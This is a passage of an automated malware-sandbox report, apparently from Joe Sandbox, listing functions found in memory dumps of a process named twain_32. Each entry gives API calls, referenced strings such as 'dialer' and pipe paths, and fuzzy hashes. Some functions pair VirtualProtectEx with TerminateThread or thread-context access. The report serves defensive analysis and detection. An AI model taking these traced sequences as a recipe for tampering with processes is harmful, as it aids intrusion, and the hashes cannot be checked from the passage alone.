__scrt_acquire_startup_lock.LIBCMT ref: 0000024B3455766A
_RTC_Initialize.LIBCMT ref: 0000024B34557698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000024B345576BE
__scrt_release_startup_lock.LIBCMT ref: 0000024B345576E9

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: e987d588453d9a0882a436858a3a4ee9ec9779299a2ced2196404dfe7a44c781
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: F3810131F2474186FB53AF6BA84D3BD7E90BB85780F0A44E59A0B87796EB38C845C700

Function 0000024B34559804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000024B34559889
GetLastError.KERNEL32 ref: 0000024B34559897
LoadLibraryExW.KERNEL32 ref: 0000024B345598C1
FreeLibrary.KERNEL32 ref: 0000024B34559907
GetProcAddress.KERNEL32 ref: 0000024B34559913

Strings

api-ms-, xrefs: 0000024B345598A9

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: dc55cfd5e5651223e85ded8bef42bcdc51b788dd9f083743360b3352e1f95fc3
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: D231A531A12650A1FE139F03A4087AD6BA4FB48BA4F5B05A5ED2E4B390EF3CD4458B00

Function 0000024B34561B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 0000024B34561BCD
GetLastError.KERNEL32 ref: 0000024B34561BD9
CloseHandle.KERNEL32 ref: 0000024B34561BF1
CreateFileW.KERNEL32 ref: 0000024B34561C1C
WriteConsoleW.KERNEL32 ref: 0000024B34561C3B

Strings

CONOUT$, xrefs: 0000024B34561BFD

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 9ef0435c68a918fe967c030b4119e9a002b44be8bfac580f7c17afb1c5c85b4a
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 0411BF21B24B4096E7528F43E848329BAA0F398FE4F051264EA5E877A4CF7CC9088740

Function 0000024B34555C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000024B34555C4B
GetThreadContext.KERNEL32 ref: 0000024B34555DB5

Part of subcall function 0000024B34555A40: GetCurrentThreadId.KERNEL32 ref: 0000024B34555A44

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: 4d774fc6b0c7c165cf0d4385b73785905952d05d31a7f4a527336975a6f6150c
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: D1D19D76609B8882DA719F1AE49436E7BA0F7C8B84F150596EA8E47B69DF3CC541CB00

Function 0000024B345530B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000024B345530D7
HeapAlloc.KERNEL32 ref: 0000024B345530EA
StrCmpNIW.SHLWAPI ref: 0000024B3455316B
GetProcessHeap.KERNEL32 ref: 0000024B345531D1
HeapFree.KERNEL32 ref: 0000024B345531DF

Strings

dialer, xrefs: 0000024B34553164

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: d64092b85631d4f3496dcd9cfcfdea356b8ec0cf89811db26c05aa686ada59a8
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: FF31B532B01B5592EB56EF67E84837D6BA0FB64B84F0640A09F4E07B54EF38C4A1C700

Function 0000024B34551A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000024B34551A3A
K32GetModuleFileNameExW.KERNEL32 ref: 0000024B34551A58
PathFindFileNameW.SHLWAPI ref: 0000024B34551A67
lstrlenW.KERNEL32 ref: 0000024B34551A73
StrCpyW.SHLWAPI ref: 0000024B34551A86
CloseHandle.KERNEL32 ref: 0000024B34551A94

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: a9d0cb570af524af4dd029804e5c241c6aa4b1c5a1aaef15b43a408fddb3b04e
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: CE016921B10A41A6EB11DF13E85C3696BA1F798FD0F4981B5CE8A83754DF3CC989C740

Function 0000024B345537AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000024B345537C8
GetCurrentProcess.KERNEL32 ref: 0000024B345537D6
VirtualProtectEx.KERNEL32 ref: 0000024B345537F8
GetCurrentProcess.KERNEL32 ref: 0000024B34553819
VirtualProtectEx.KERNEL32 ref: 0000024B3455383A
TerminateThread.KERNEL32 ref: 0000024B34553849

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 8110c1600766218d73482ff2db050e82b6209ee03dae274cb4897d3bfda3787e
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 8C114075B2274192FB269F23E40D72A6BA0BB68B95F0514A4CD4D47764EF3CC408C700

Function 0000024B345590F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024B34559103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024B34559198
RtlUnwindEx.NTDLL ref: 0000024B345591E7

Strings

csm, xrefs: 0000024B3455917E
f, xrefs: 0000024B34559116

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 8adbce4d9f7289ae21848866c2d7f21c4470159ad7ace03fa003e8fc4049feed
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: A851BC32B116508AEB16DF26E44CB6D3B96F354B88F5281E0DA0B47B88EB79DC41CF05

Function 0000024B345590D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024B34559103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024B34559198
RtlUnwindEx.NTDLL ref: 0000024B345591E7

Strings

csm, xrefs: 0000024B3455917E
f, xrefs: 0000024B34559116

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 451d6ea4bde41d8cea76d589cb42aaa0dbbe969e674acbd34b239564e0f2ee66
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: C931AD32A1069096E716EF13E84C72D3FA5F754B88F068194EE4B07785DB3CC940CB05

Function 0000024B34551AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000024B34551AD8
StrCmpNIW.SHLWAPI ref: 0000024B34551AF2
lstrlenW.KERNEL32 ref: 0000024B34551B01
StrCpyW.SHLWAPI ref: 0000024B34551B16

Strings

\\?\, xrefs: 0000024B34551AE6

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 4b58d5bfb8d451bd9a9f7b299f15b6434cf8dd2c7aed3b2c67f6b54c191d3146
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 7FF06232B14641A2FB218F66F5D836D6F60F754B98F8990B4CA494B958DF3CC68CCB00

Function 0000024B34553200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000024B34553222
StrCpyW.SHLWAPI ref: 0000024B34553232
StrCatW.SHLWAPI ref: 0000024B3455323E
PathCombineW.SHLWAPI ref: 0000024B3455324C

Strings

\\.\pipe\, xrefs: 0000024B34553218

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: dbf1faf976e8c48d4965a12b2cc45e7c9766283628c23aa1d1f0f256b4ed8d2b
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: DCF0A720B14B80A2EA018F13B90C12D6A21FB58FD0F09A1B1DE5B07B2CCF2CC445C700

Function 0000024B3455A138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000024B3455A154
GetProcAddress.KERNEL32 ref: 0000024B3455A16A
FreeLibrary.KERNEL32 ref: 0000024B3455A187

Strings

CorExitProcess, xrefs: 0000024B3455A163
mscoree.dll, xrefs: 0000024B3455A14B

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: b7a31e8319a63fa008621a321de1447a337f76645fbe7cdb7e33b4d881722828
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 0EF01271B31644A1EF565F62F89C3692B60EB58BD1F463099950B45565DF3CC48CC710

Function 0000024B345551B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000024B34555236

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: fb182d61771eea262363ebaf2df530acb49614dbd551da5eaf1fae5b5a12fd0e
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 1902CA32619B8486E7A1CF56F49436EBBA0F3C5794F114195EA8E87BA9DF7CC484CB00

Function 0000024B34560860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000024B345608A2
GetConsoleMode.KERNEL32 ref: 0000024B34560960
GetLastError.KERNEL32 ref: 0000024B345609EA

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 05b32be4c070ad7bae230f3baa4678db0b4c604db899f2543984d1c3d757eab0
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: FA81BC23E30650AAFB62EF6788483AD2FA1F744F98F466196DE0A53792DB3CC445C310

Function 0000024B345557F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000024B34555806

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 6dda425a4bc4812032c9caaf1efdf56a454c5ea536469c474fabc4de60fae616
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 8D61B936929B44C7E7A18F16E45832EBBA0F3C8754F121595EA8E87BA8DB7CC544CF00

Function 0000024B345212B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000024B345212E0
_set_statfp.LIBCMT ref: 0000024B345212FB
_set_statfp.LIBCMT ref: 0000024B34521317
_set_statfp.LIBCMT ref: 0000024B34521353

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 40953941a84953564d4704be1a20e0ee06e9c0cf233a89a411d8ad744bea3388
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 7911E922E54E0002F66A1D6BE45E3AF1C42EB74374F4B07A7EAB616FD68B18CC414104

Function 0000024B34561EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000024B34561EE0
_set_statfp.LIBCMT ref: 0000024B34561EFB
_set_statfp.LIBCMT ref: 0000024B34561F17
_set_statfp.LIBCMT ref: 0000024B34561F53

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 25825365ba59cbe5ba6ce6b282c9cd4778fc311e78f81d569e7f1f8fd4703b95
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 16118622E74A0121F6AA1967E45E375AC516B64374F0777ECFAF6063E78F5CCC418224

Function 0000024B34553878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000024B34553886
GetCurrentProcess.KERNEL32 ref: 0000024B345538B4
VirtualProtectEx.KERNEL32 ref: 0000024B345538D6
GetCurrentProcess.KERNEL32 ref: 0000024B345538F4
VirtualProtectEx.KERNEL32 ref: 0000024B34553915

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 1f120d6e7c2aa70cfb36ade27133ae2953e98244e757542a6b2bba61e37e118a
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 2B115E2AB15B4192FB169F52F4183696AB0F758B94F0500A9DE8E47B94EF3DC509C700

Function 0000024B345184F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024B34518503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024B34518598

Strings

f, xrefs: 0000024B34518516
csm, xrefs: 0000024B3451857E

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 17271b9775df5c3c91d1bf131a980bfe1d9dfe1b47eec6effbedcd8c0e8d26a8
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 9851D232B126008BEF26DF26E468B193B95F362BD8F6385A4DE1747788DB38C841C704

Function 0000024B345184D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024B34518503
_IsNonwritableInCurrentImage.LIBCMT ref: 0000024B34518598

Strings

f, xrefs: 0000024B34518516
csm, xrefs: 0000024B3451857E

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 5de7b908d7eb46053df6aa46ddd03c83e84568e4d8d66607cf1234cb93f4080a
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 1731AC76A11650A6EB26DF13E898B193BA4F741BD8F578194AE5B07788CB3CC941C708

Function 0000024B345526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000024B345527D4
StrCpyW.SHLWAPI ref: 0000024B345527ED

Strings

\\.\pipe\, xrefs: 0000024B345527DF

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 986de81cc9f3f966cb04e359d38bc7b96372e14bd2c68fd21c94a642057ecd7c
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: CC71D332A14B8186EB26DF67A9483BE6FA0F754B84F4640D6ED4B43B89DF34C544CB40

Function 0000024B345524DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000024B345525C3
StrCpyW.SHLWAPI ref: 0000024B345525DA

Strings

\\.\pipe\, xrefs: 0000024B345525CE

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: ab659da1531d94e61bba8f76e4d617c53c8b0980be4b7f649e52aea8cd55437d
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 5C51E836A1878182EA769F2BA55C37E6E91F385780F4640E5ED8B03B99CF39C405CF40

Function 0000024B34560604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000024B3456071B
GetLastError.KERNEL32 ref: 0000024B3456073D

Strings

U, xrefs: 0000024B345606C7

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 546986e17cc126c9f260584fcd4c4723f3b97a3a3ebeca427d8296f67d65949c
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: E541F733B24A4091EB21DF26E4483AA7BA0F398BD4F425125EE4E87798EF3CC441CB40

Function 0000024B3455D6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000024B3455D6F9
LCMapStringW.KERNEL32 ref: 0000024B3455D781

Strings

LCMapStringEx, xrefs: 0000024B3455D6DC, 0000024B3455D6ED

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 047accfd18f77c9b8852c13edf4f2e0166e3e21984667cd19876987e96b1b587
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 6911F436A18B8096D7618F16B48429ABBA4F789BD0F548166EA8E83B59DF38C454CB40

Function 0000024B345594A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000024B345594E8
RaiseException.KERNEL32 ref: 0000024B3455952E

Strings

csm, xrefs: 0000024B3455951B

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: 9c9158f4a493fcdb8fccd0c34d662194b52b1cac770492d6da101f9d32cd5091
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 70112132614B8092EB618F16F44436D7BA5F788B98F5942A5DF8D07768DF3CC955CB00

Function 0000024B3455D65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000024B3455D68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000024B3455D6A7

Strings

InitializeCriticalSectionEx, xrefs: 0000024B3455D681

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 4d53bc2f684d8dbfd7a1ce239449174cb7aadd08da651cdb5ba5345de4b8ca49
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 51F08222F20780B1E7069F47F4486AD6B21AB88B91F5AA0A5A95A03B54CF3CC999C704

Function 0000024B3451CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000024B3451CBC5

Strings

